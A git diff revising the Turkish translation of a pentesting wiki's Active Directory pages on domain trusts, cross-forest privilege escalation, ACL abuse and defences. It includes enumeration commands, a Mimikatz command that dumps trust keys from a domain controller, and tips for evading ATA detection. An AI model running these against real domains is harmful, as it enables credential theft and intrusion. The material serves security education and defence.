şifrelenmiştir. Kullanıcı sonra bu TGT'yi **trusted domain'in DC'sine** sunarak bir servis ticket'ı (**TGS**) alır. Trusted domain'in DC'si inter-realm TGT'yi doğruladığında, servise erişim vermek için bir TGS çıkarır. **Adımlar**: -1. Bir **istemci bilgisayar** Domain 1'de, **NTLM hash**ini kullanarak **Ticket Granting Ticket (TGT)** talep etmek için Domain Controller'ı (DC1) ile iletişime başlar. -2. DC1, istemci başarıyla kimlik doğrulandıysa yeni bir TGT verir. -3. İstemci daha sonra **Domain 2** kaynaklarına erişmek için DC1'den bir **inter-realm TGT** talep eder. -4. Inter-realm TGT, iki yönlü domain trust kapsamında DC1 ve DC2 arasında paylaşılan bir **trust key** ile şifrelenir. -5. İstemci inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür. -6. DC2, inter-realm TGT'yi paylaşılan trust key ile doğrular ve geçerliyse istemcinin erişmek istediği Domain 2 içindeki sunucu için bir **Ticket Granting Service (TGS)** verir. -7. Son olarak, istemci bu TGS'yi sunucuya sunar; TGS sunucunun hesap hash'i ile şifrelenmiştir ve böylece Domain 2'deki servise erişim sağlanır. +1. **Domain 1**'de bir **istemci bilgisayar**, **NTLM hash**ini kullanarak **Domain Controller (DC1)**'den bir **Ticket Granting Ticket (TGT)** talep etmeye başlar. +2. DC1 istemci başarıyla kimlik doğrulaması yapıldıysa yeni bir TGT verir. +3. İstemci daha sonra **Domain 2** kaynaklarına erişmek için gerekli olan bir **inter-realm TGT**'yi DC1'den talep eder. +4. Inter-realm TGT, iki yönlü domain trust'ın bir parçası olarak DC1 ve DC2 arasında paylaşılan bir **trust key** ile şifrelenir. +5. İstemci inter-realm TGT'yi **Domain 2'nin Domain Controller (DC2)**'sine götürür. +6. DC2, inter-realm TGT'yi kendi paylaşılan trust key'iyle doğrular ve geçerliyse istemcinin erişmek istediği Domain 2 içindeki sunucu için bir **Ticket Granting Service (TGS)** verir. +7. Son olarak, istemci bu TGS'yi sunucuya sunar; TGS sunucunun account hash'i ile şifrelenmiştir ve bu sayede Domain 2'deki hizmete erişim sağlar. -### Farklı trust türleri +### Different trusts -Bir trust'ın **1 yönlü** veya **2 yönlü** olabileceğini fark etmek önemlidir. 2 yönlü seçenekte her iki domain birbirine güvenir, fakat **1 yönlü** trust ilişkisinde bir domain **trusted**, diğeri ise **trusting** domain olur. Bu durumda, **trusted** domain'den **trusting** domain içindeki kaynaklara erişebilirsiniz. +Bir trust'ın **tek yönlü veya iki yönlü** olabileceğini fark etmek önemlidir. İki yönlü seçimde her iki domain de birbirine güvenir, ancak **tek yönlü** trust ilişkisinde bir domain **trusted** diğeri ise **trusting** olur. Bu durumda, **trusted** olan domain'den **trusting** domain içindeki kaynaklara erişebilirsiniz. -Eğer Domain A, Domain B'ye güveniyorsa, A trusting domain; B ise trusted domain'dir. Ayrıca, **Domain A**'da bu bir **Outbound trust**; **Domain B**'de ise bir **Inbound trust** olur. +Eğer Domain A, Domain B'ye trust veriyorsa, A trusting domain'dir ve B trusted olandır. Ayrıca, **Domain A**'de bu bir **Outbound trust**; ve **Domain B**'de bu bir **Inbound trust** olur. **Farklı trusting ilişkileri** -- **Parent-Child Trusts**: Aynı forest içinde yaygın bir yapı olup, child domain otomatik olarak parent domain ile iki yönlü ve transitif bir trust'a sahiptir. Bu, parent ve child arasında kimlik doğrulama taleplerinin sorunsuz akabileceği anlamına gelir. -- **Cross-link Trusts**: "shortcut trusts" olarak adlandırılır; child domain'ler arasında yönlendirme süreçlerini hızlandırmak için kurulur. Karmaşık forest'larda, kimlik doğrulama yönlendirmeleri genellikle forest root'a kadar yükselip hedef domain'e geri inmelidir. Cross-link'ler bu süreci kısaltır ve özellikle coğrafi olarak dağılmış ortamlarda faydalıdır. -- **External Trusts**: Farklı, ilişkisiz domain'ler arasında kurulur ve doğası gereği non-transitive'dir. [Microsoft dokümantasyonuna]() göre, external trust'lar forest dışında kalan ve forest trust ile bağlı olmayan bir domain'deki kaynaklara erişim için kullanışlıdır. Güvenlik, external trust'larla SID filtering uygulanarak güçlendirilir. -- **Tree-root Trusts**: Forest root domain ile yeni eklenen bir tree root arasında otomatik olarak oluşturulan trust'lardır. Sık karşılaşılmasa da, yeni domain ağaçları eklerken önemlidir; iki yönlü transitivite sağlar ve yeni ağaçların benzersiz domain adını korumasına olanak tanır. Daha fazla bilgi için [Microsoft rehberine]() bakabilirsiniz. -- **Forest Trusts**: İki forest root domain arasında kurulan iki yönlü transitif trust'lardır ve SID filtering ile güvenlik önlemleri uygulanır. -- **MIT Trusts**: Windows dışı, [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos domain'leriyle kurulan trust'lardır. MIT trust'ları daha özel olup, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yöneliktir. +- **Parent-Child Trusts**: Aynı forest içinde yaygın bir kurulumdur; bir child domain otomatik olarak parent domain ile iki yönlü transitif trust'a sahiptir. Bu, kimlik doğrulama isteklerinin parent ve child arasında sorunsuz akabileceği anlamına gelir. +- **Cross-link Trusts**: "shortcut trusts" olarak da adlandırılır; child domainler arasında referral süreçlerini hızlandırmak için kurulur. Karmaşık forest'larda kimlik doğrulama referral'ları genellikle forest root'a kadar çıkıp hedef domaine tekrar inmek zorunda kalır; cross-link'ler bu yolu kısaltır ve coğrafi dağıtılmış ortamlarda faydalıdır. +- **External Trusts**: Farklı, ilişkili olmayan domain'ler arasında kurulur ve doğası gereği non-transitive'dir. Microsoft'un belgesine göre (), external trust'lar forest dışında kalan ve forest trust ile bağlı olmayan bir domain'deki kaynaklara erişim için kullanışlıdır. Güvenlik, external trust'larla SID filtering ile güçlendirilir. +- **Tree-root Trusts**: Forest root domain ile yeni eklenen bir tree root arasında otomatik olarak kurulur. Sıklıkla karşılaşılan bir durum olmamakla birlikte, tree-root trust'lar yeni domain ağaçlarının bir forest'a eklenmesi için önemlidir; onlara benzersiz bir domain adı sunar ve iki yönlü transitiviteyi sağlar. Daha fazla bilgi Microsoft'un rehberinde bulunabilir (). +- **Forest Trusts**: İki forest root domain arasında iki yönlü transitif trust'tır; aynı zamanda SID filtering uygular. +- **MIT Trusts**: Bu trust'lar, Windows olmayan, [RFC4120-uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos domain'leri ile kurulur. MIT trust'lar daha özelleşmiş olup Windows ekosistemi dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlar için uygundur. -#### Trust ilişkilerindeki diğer farklılıklar +#### Other differences in **trusting relationships** -- Bir trust ilişkisi aynı zamanda **transitive** (A B'ye, B C'ye güveniyorsa A C'ye güvenir) veya **non-transitive** olabilir. +- Bir trust ilişkisi ayrıca **transitive** (A B'ye trust veriyorsa, B C'ye trust veriyorsa A C'ye trust verir) veya **non-transitive** olabilir. - Bir trust ilişkisi **çift yönlü trust** (her iki taraf da birbirine güvenir) veya **tek yönlü trust** (sadece biri diğerine güvenir) olarak kurulabilir. -### Saldırı Yolu +### Attack Path 1. **Trusting ilişkilerini** enumerate edin -2. Hangi **security principal**(kullanıcı/grup/bilgisayar)'ın diğer domain kaynaklarına **erişimi** olup olmadığını kontrol edin; belki ACE girdileri veya diğer domain gruplarında üyelik yoluyla. **Domainler arası ilişkiler** arayın (trust büyük ihtimalle bunun için oluşturulmuştur). -1. Bu durumda kerberoast da başka bir seçenek olabilir. -3. Domainler arasında **pivot** yapabilecek **hesapları compromet** edin. +2. Hangi **security principal**(user/group/computer)'un diğer **domain**in kaynaklarına **erişimi** olup olmadığını kontrol edin; belki ACE girdileriyle veya diğer domain'in gruplarında yer alarak. **Domainler arası ilişkiler**i arayın (trust mu bu amaçla oluşturulmuş olabilir). +1. Bu durumda kerberoast başka bir seçenek olabilir. +3. **Pivot** yapabilecek **hesapları** **kompromize** edin. -Başka bir domaine kaynaklara erişebilecek saldırganların erişimi üç ana mekanizma aracılığıyla olabilir: +Başka bir domaine kaynaklara erişimi olan saldırganların üç ana mekanizma yoluyla erişimi olabilir: -- **Local Group Membership**: Principal'lar makinelere, örneğin bir sunucudaki “Administrators” grubuna eklenmiş olabilir; bu da o makine üzerinde önemli kontrol sağlar. -- **Foreign Domain Group Membership**: Principal'lar ayrıca yabancı domain içindeki grupların üyeleri olabilir. Ancak bu yöntemin etkinliği trust'ın doğasına ve grubun kapsamına bağlıdır. -- **Access Control Lists (ACLs)**: Principal'lar özellikle bir **DACL** içindeki **ACE**'lerde belirtilmiş olabilir ve belirli kaynaklara erişim sağlayabilir. ACL'ler, DACL'ler ve ACE'lerin mekanik detaylarına dalmak isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” whitepaper'ı değerli bir kaynaktır. +- **Local Group Membership**: Principal'lar makinelerdeki “Administrators” gibi local gruplara eklenmiş olabilir; bu onların o makine üzerinde önemli kontrol elde etmelerini sağlar. +- **Foreign Domain Group Membership**: Principal'lar yabancı domain içindeki grupların da üyeleri olabilir. Ancak bu yöntemin etkinliği, trust'ın doğasına ve grubun kapsamına bağlıdır. +- **Access Control Lists (ACLs)**: Principal'lar bir **ACL** içinde, özellikle bir **DACL** içindeki **ACE** olarak tanımlanmış olabilir ve bu onlara belirli kaynaklara erişim verir. ACL'lerin, DACL'lerin ve ACE'lerin mekaniklerine derinlemesine dalmak isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” isimli whitepaper çok değerli bir kaynaktır. -### Harici kullanıcı/grupları izinlere göre bulma +### Find external users/groups with permissions -Domain içindeki foreign security principal'ları bulmak için **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** kontrol edebilirsiniz. Bunlar **harici bir domain/forest**'ten gelen kullanıcı/gruplar olacaktır. +Yabancı security principal'ları bulmak için **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** kontrol edebilirsiniz. Bunlar **dış bir domain/forest**ten gelen user/group olacaktır. -Bunu **Bloodhound** veya powerview kullanarak kontrol edebilirsiniz: +Bunu **Bloodhound**'da veya powerview kullanarak kontrol edebilirsiniz: ```powershell # Get users that are i groups outside of the current domain Get-DomainForeignUser @@ -613,7 +608,7 @@ Get-DomainForeignUser # Get groups inside a domain with users our Get-DomainForeignGroupMember ``` -### Alt ormandan üst ormana ayrıcalık yükseltme +### Child-to-Parent forest privilege escalation ```bash # Fro powerview Get-DomainTrust @@ -626,7 +621,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case) WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` -Domain trusts'leri enumerate etmenin diğer yolları: +Etki alanı güvenlerini listelemenin diğer yolları: ```bash # Get DCs nltest /dsgetdc: @@ -639,8 +634,8 @@ nltest /dclist:sub.domain.local nltest /server:dc.sub.domain.local /domain_trusts /all_trusts ``` > [!WARNING] -> Toplam **2 güvenilen anahtar** vardır; biri _Child --> Parent_ için, diğeri ise _Parent_ --> _Child_ içindir.\ -> Geçerli alan tarafından kullanılan anahtarı şu komutlarla görebilirsiniz: +> İki adet **trusted key** var, biri _Child --> Parent_ ve diğeri _Parent_ --> _Child_.\ +> Hangi anahtarın mevcut domain tarafından kullanıldığını şu komutlarla görebilirsiniz: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local @@ -649,7 +644,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts #### SID-History Injection -SID-History injection ile trust'ı suistimal ederek child/parent alanına Enterprise admin olarak yükseltme: +Güveni suistimal ederek SID-History injection ile child/parent domain'e Enterprise admin olarak yükseltme: {{#ref}} @@ -658,19 +653,19 @@ sid-history-injection.md #### Exploit writeable Configuration NC -Configuration Naming Context (NC)'nin nasıl istismar edilebileceğini anlamak kritik öneme sahiptir. Configuration NC, Active Directory (AD) ortamlarında bir forest içindeki yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler forest içindeki her Domain Controller (DC)'ye replike edilir; yazılabilir DC'ler Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar edebilmek için bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir; tercihen child DC üzerinde. +Configuration Naming Context (NC)'nin nasıl suistimal edilebileceğini anlamak kritik öneme sahiptir. Configuration NC, Active Directory (AD) ortamlarında bir forest içindeki konfigürasyon verileri için merkezi bir depo görevi görür. Bu veriler forest içindeki her Domain Controller (DC)'ye replikasyon edilir ve yazılabilir DC'ler Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu suistimal edebilmek için bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir; tercihen bir child DC. **Link GPO to root DC site** -Configuration NC'nin Sites container'ı, AD forest içindeki tüm alana katılmış bilgisayarların site bilgilerini içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıklarıyla hareket ederek, saldırganlar GPO'ları root DC site'larına linkleyebilirler. Bu eylem, bu sitelere uygulanan politikaları manipüle ederek root domain'in tehlikeye girmesine yol açabilir. +Configuration NC'nin Sites container'ı, AD forest içindeki tüm domaine bağlı bilgisayarların site bilgilerini içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile işlem yaparak, saldırganlar GPO'ları root DC site'larına bağlayabilir. Bu eylem, bu site'lara uygulanan politikaları manipüle ederek root domain'i potansiyel olarak tehlikeye atabilir. -Detaylı bilgi için [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) araştırmasına bakılabilir. +Daha derinlemesine bilgi için şu araştırma incelenebilir: [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). **Compromise any gMSA in the forest** -Bir saldırı vektörü, alandaki ayrıcalıklı gMSA'ları hedeflemeyi içerir. gMSA'ların parolalarını hesaplamak için gerekli olan KDS Root key, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıklarına sahip olarak, KDS Root key'e erişmek ve forest içindeki herhangi bir gMSA'nın parolasını hesaplamak mümkündür. +Bir saldırı vektörü, domain içindeki ayrıcalıklı gMSA'ları hedeflemeyi içerir. gMSA'ların parolalarını hesaplamak için gerekli olan KDS Root key, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile KDS Root key'e erişmek ve forest genelindeki herhangi bir gMSA için parolaları hesaplamak mümkündür. -Detaylı analiz ve adım adım rehber için: +Detaylı analiz ve adım adım rehberlik için bakınız: {{#ref}} @@ -688,17 +683,17 @@ Ek dış araştırma: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog **Schema change attack** -Bu yöntem sabır gerektirir; yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi içerir. SYSTEM ayrıcalıkları ile bir saldırgan AD Şeması'nı, herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verecek şekilde değiştirebilir. Bu, yeni oluşturulan AD nesneleri üzerinde yetkisiz erişim ve kontrol ile sonuçlanabilir. +Bu yöntem sabır gerektirir; yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi içerir. SYSTEM ayrıcalıkları ile bir saldırgan AD Schema'yı değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yeni oluşturulan AD nesneleri üzerinde yetkisiz erişim ve kontrol ile sonuçlanabilir. -Daha fazla okumak için [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) kaynağına bakın. +Daha fazla okuma için: [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). **From DA to EA with ADCS ESC5** -ADCS ESC5 zafiyeti, PKI nesneleri üzerinde kontrol edin hedef alır ve forest içindeki herhangi bir kullanıcı olarak kimlik doğrulaması yapmayı sağlayan bir certificate template oluşturmayı mümkün kılar. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir child DC'nin ele geçirilmesi ESC5 saldırılarının gerçekleştirilmesine imkan verir. +ADCS ESC5 zafiyeti, forest içindeki herhangi bir kullanıcı olarak kimlik doğrulama sağlayan bir sertifika şablonu oluşturmak için Public Key Infrastructure (PKI) nesneleri üzerinde kontrol sağlamayı hedefler. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir child DC'nin ele geçirilmesi ESC5 saldırılarının gerçekleştirilmesini mümkün kılar. -Bununla ilgili daha fazla detayı [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okuyabilirsiniz. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu konu [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) makalesinde tartışılmaktadır. +Bununla ilgili daha fazla detayı şurada okuyabilirsiniz: [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). ADCS olmayan senaryolarda saldırgan gerekli bileşenleri kurma imkânına sahiptir; bu konu şu kaynakta tartışılmaktadır: [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). -### External Forest Domain - One-Way (Inbound) or bidirectional +### Harici Forest Domain - Tek Yönlü (Inbound) veya çift yönlü ```bash Get-DomainTrust SourceName : a.domain.local --> Current domain @@ -709,14 +704,13 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -Bu senaryoda **domain'iniz** dış bir domain tarafından trusted edilmiş olup, size onun üzerinde **belirsiz permissions** vermiştir. Hangi domain principals'lerinizin dış domain üzerinde hangi erişime sahip olduğunu bulmanız ve ardından bunu exploit etmeye çalışmanız gerekecek: - +Bu senaryoda **domain'iniz**, dış bir domain tarafından güveniliyor ve size onun üzerinde **belirsiz izinler** veriliyor. Dış domain üzerinde hangi erişimlere sahip olduğunuzu belirlemek için **domain'inizin hangi principals'larının hangi erişimlere sahip olduğunu** bulmanız ve ardından bunları suistimal etmeyi denemeniz gerekecek: {{#ref}} external-forest-domain-oneway-inbound.md {{#endref}} -### Harici Forest Domain - Tek Yönlü (Outbound) +### Harici Orman Domain - Tek Yönlü (Giden) ```bash Get-DomainTrust -Domain current.local @@ -728,38 +722,38 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -In this senaryoda **alanınız**, **farklı bir alandan** gelen bir principal'e bazı **yetkiler** veriyor. +In this senaryoda **domain’iniz** farklı bir domain’den bir principal’a bazı **privileges** veriyor. -Ancak, bir **domain trusting domain tarafından trust edildiğinde**, trusted domain, **tahmin edilebilir isimli bir kullanıcı** oluşturur ve **parola olarak trusted password** kullanır. Bu, trusting domain'deki bir kullanıcıya **erişerek trusted domaine girmek**, onu keşfetmek ve daha fazla ayrıcalık yükseltmeye çalışmak için mümkün olduğu anlamına gelir: +Ancak, bir **domain is trusted** olduğunda, trusting domain tarafından, trusted domain **predictable name** ile bir **user** oluşturur ve **password** olarak trusted password’u kullanır. Bu, trusting domain’deki bir kullanıcıya erişip trusted domain’in içine girerek onu enumerate etmek ve daha fazla ayrıcalık için yükseltme denemesi yapmanın mümkün olduğu anlamına gelir: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Trusted domain'i ele geçirmenin bir diğer yolu, domain trust'unun **ters yönünde** oluşturulmuş bir [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir). +Trusted domain’i ele geçirmenin bir diğer yolu, domain trust’ın **opposite direction**’ında oluşturulmuş bir [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir). -Trusted domain'i ele geçirmenin başka bir yolu da, **trusted domain'den bir kullanıcının RDP ile giriş yapabildiği** bir makinede beklemektir. Saldırgan daha sonra RDP oturumu sürecine kod enjekte edebilir ve oradan **kurbanın asıl domainine erişebilir**. -Ayrıca, eğer **kurban sabit diskini mount ettiyse**, saldırgan **RDP session** sürecinden sabit diskin **startup folder**'ına **backdoors** yerleştirebilir. Bu teknik **RDPInception** olarak adlandırılır. +Trusted domain’i ele geçirmenin bir diğer yolu da, **trusted domain**’den bir kullanıcının **RDP** ile erişebildiği bir makinede beklemektir. Ardından saldırgan RDP session sürecine kod enjekte edebilir ve oradan **victim**’in origin domain’ine erişebilir.\ +Ayrıca, eğer **victim** sabit diskini mount ettiyse, saldırgan **RDP session** sürecinden hard drive’ın startup klasörüne **backdoors** koyabilir. Bu teknik **RDPInception** olarak adlandırılır. {{#ref}} rdp-sessions-abuse.md {{#endref}} -### Domain trust kötüye kullanımı azaltma +### Domain trust abuse mitigation ### **SID Filtering:** -- Ormanlar arası trustlarda SID history özniteliğini kullanan saldırı riski, tüm inter-forest trust'larda varsayılan olarak etkin olan SID Filtering ile azaltılır. Bu, Microsoft'un yaklaşımına göre güvenlik sınırını domain yerine forest olarak kabul eden varsayıma dayanır. -- Ancak bir sorun vardır: SID Filtering uygulamaları ve kullanıcı erişimini bozabilir; bu yüzden zaman zaman devre dışı bırakılabilir. +- SID history attribute’u kullanılarak forest trust’lar üzerinden yapılan saldırı riski, tüm inter-forest trust’larda varsayılan olarak etkin olan SID Filtering ile azaltılır. Bu, Microsoft’un ormandan (forest) ziyade domain’i güvenlik sınırı olarak görme yaklaşımına dayanarak intra-forest trust’ların güvenli olduğu varsayımına dayanmaktadır. +- Ancak bir sorun vardır: SID Filtering uygulamaları ve kullanıcı erişimini bozabilir, bu yüzden bazen devre dışı bırakılabilir. ### **Selective Authentication:** -- Inter-forest trust'lar için Selective Authentication kullanılması, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasına izin verilmemesini sağlar. Bunun yerine, kullanıcıların trusting domain veya forest içindeki domainlere ve sunuculara erişebilmesi için açık izinler gerekir. -- Bu önlemlerin writable Configuration Naming Context (NC)'in kötüye kullanımı veya trust account'a yönelik saldırılara karşı koruma sağlamadığını not etmek önemlidir. +- Inter-forest trust’lar için Selective Authentication kullanmak, iki forest’tan gelen kullanıcıların otomatik olarak authenticate edilmemesini sağlar. Bunun yerine, trusting domain veya forest içindeki domain ve sunuculara erişim için açık izinler gereklidir. +- Bu önlemlerin writable Configuration Naming Context (NC) veya trust account’a yönelik saldırılara karşı koruma sağlamadığını not etmek önemlidir. -[**Domain trust'ları hakkında daha fazla bilgi ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) +[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) ## AD -> Azure & Azure -> AD @@ -770,33 +764,33 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move ## Bazı Genel Savunmalar -[**Kimlik bilgilerini koruma hakkında daha fazla bilgi edinin.**](../stealing-credentials/credentials-protections.md) +[**Kimlik bilgilerini nasıl koruyacağınızı buradan öğrenin.**](../stealing-credentials/credentials-protections.md) -### **Kimlik Bilgilerini Koruma için Savunma Önlemleri** +### **Defensive Measures for Credential Protection** -- **Domain Admins Restrictions**: Domain Admins'in sadece Domain Controller'lara giriş yapmasına izin verilmesi ve diğer hostlarda kullanılmaması önerilir. -- **Service Account Privileges**: Servisler güvenlik için Domain Admin (DA) yetkileriyle çalıştırılmamalıdır. -- **Temporal Privilege Limitation**: DA yetkisi gerektiren görevler için süre sınırlı olmalıdır. Bu şu komutla yapılabilir: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +- **Domain Admins Restrictions**: Domain Admins sadece Domain Controllers’a giriş yapacak şekilde sınırlandırılmalı; diğer hostlarda kullanılmaları engellenmelidir. +- **Service Account Privileges**: Servisler DA (Domain Admin) ayrıcalıkları ile çalıştırılmamalıdır. +- **Temporal Privilege Limitation**: DA ayrıcalıkları gerektiren görevler için bu süre sınırlandırılmalıdır. Bu şu şekilde yapılabilir: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` -### **Aldatma (Deception) Tekniklerini Uygulama** +### **Implementing Deception Techniques** -- Aldatma uygulamak, parola süresi dolmayan veya Trusted for Delegation olarak işaretlenmiş gibi özelliklere sahip tuzak kullanıcılar veya bilgisayarlar oluşturmayı içerir. Ayrıntılı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek ayrıcalıklı gruplara eklemeyi içerir. -- Pratik bir örnek aşağıdaki komutların kullanılmasını içerir: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` -- Aldatma tekniklerini dağıtma hakkında daha fazlasını [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)'ta bulabilirsiniz. +- Deception uygulamak, password’ları expire olmayan veya Trusted for Delegation olarak işaretlenmiş sahte kullanıcılar ya da bilgisayarlar gibi tuzaklar kurmayı içerir. Ayrıntılı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek ayrıcalıklı gruplara eklemeyi içerir. +- Pratik bir örnek şu araçları kullanmayı içerir: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` +- Deception tekniklerinin dağıtımı hakkında daha fazla bilgi için [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) bakılabilir. -### **Aldatmayı Tespit Etme** +### **Identifying Deception** -- **User Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açmalar, oluşturulma tarihleri ve düşük kötü parola sayıları bulunur. -- **Genel Göstergeler**: Potansiyel tuzak nesnelerin özniteliklerini gerçek nesnelerinkilerle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar bu tür aldatmaları tespit etmede yardımcı olabilir. +- **For User Objects**: Şüpheli göstergeler arasında olağandışı ObjectSID, nadir logon’lar, oluşturulma tarihleri ve düşük bad password sayıları bulunur. +- **General Indicators**: Potansiyel decoy nesnelerin özniteliklerini gerçek nesnelerle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. Bu tür deception’ları tespit etmeye yardımcı olmak için [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar kullanılabilir. -### **Tespit Sistemlerini Atlama** +### **Bypassing Detection Systems** - **Microsoft ATA Detection Bypass**: -- **User Enumeration**: ATA tespitini önlemek için Domain Controller'larda oturum numaralandırmasından kaçınmak. -- **Ticket Impersonation**: Ticket oluşturmak için **aes** anahtarlarının kullanılması, NTLM'e düşürme yapmayarak tespitten kaçınmaya yardımcı olur. -- **DCSync Attacks**: ATA tespitini önlemek için bir Domain Controller olmayan makinadan yürütülmesi tavsiye edilir; çünkü doğrudan bir Domain Controller'dan yürütülmesi uyarıları tetikler. +- **User Enumeration**: ATA tespitini önlemek için Domain Controllers üzerinde oturum (session) enumerate etmekten kaçınmak. +- **Ticket Impersonation**: aes anahtarlarını kullanarak ticket oluşturmak, NTLM’e downgrade etmeyerek tespitten kaçınmaya yardımcı olur. +- **DCSync Attacks**: ATA tespiti tetiklenmemesi için DCSync işlemlerinin bir Domain Controller’dan değil, başka bir makinadan yürütülmesi tavsiye edilir; çünkü doğrudan Domain Controller’dan yürütülmesi uyarılara neden olur. -## Referanslar +## References - [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/) - [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html) diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 4a882cf17..d3abc31fb 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -1,8 +1,8 @@ -# Active Directory ACLs/ACEs'yi Kötüye Kullanma +# Active Directory ACLs/ACEs'nin Kötüye Kullanımı {{#include ../../../banners/hacktricks-training.md}} -**Bu sayfa büyük ölçüde şu tekniklerin bir özeti:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Daha fazla ayrıntı için orijinal makalelere bakın.** +**Bu sayfa büyük ölçüde şu tekniklerin özetidir** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** 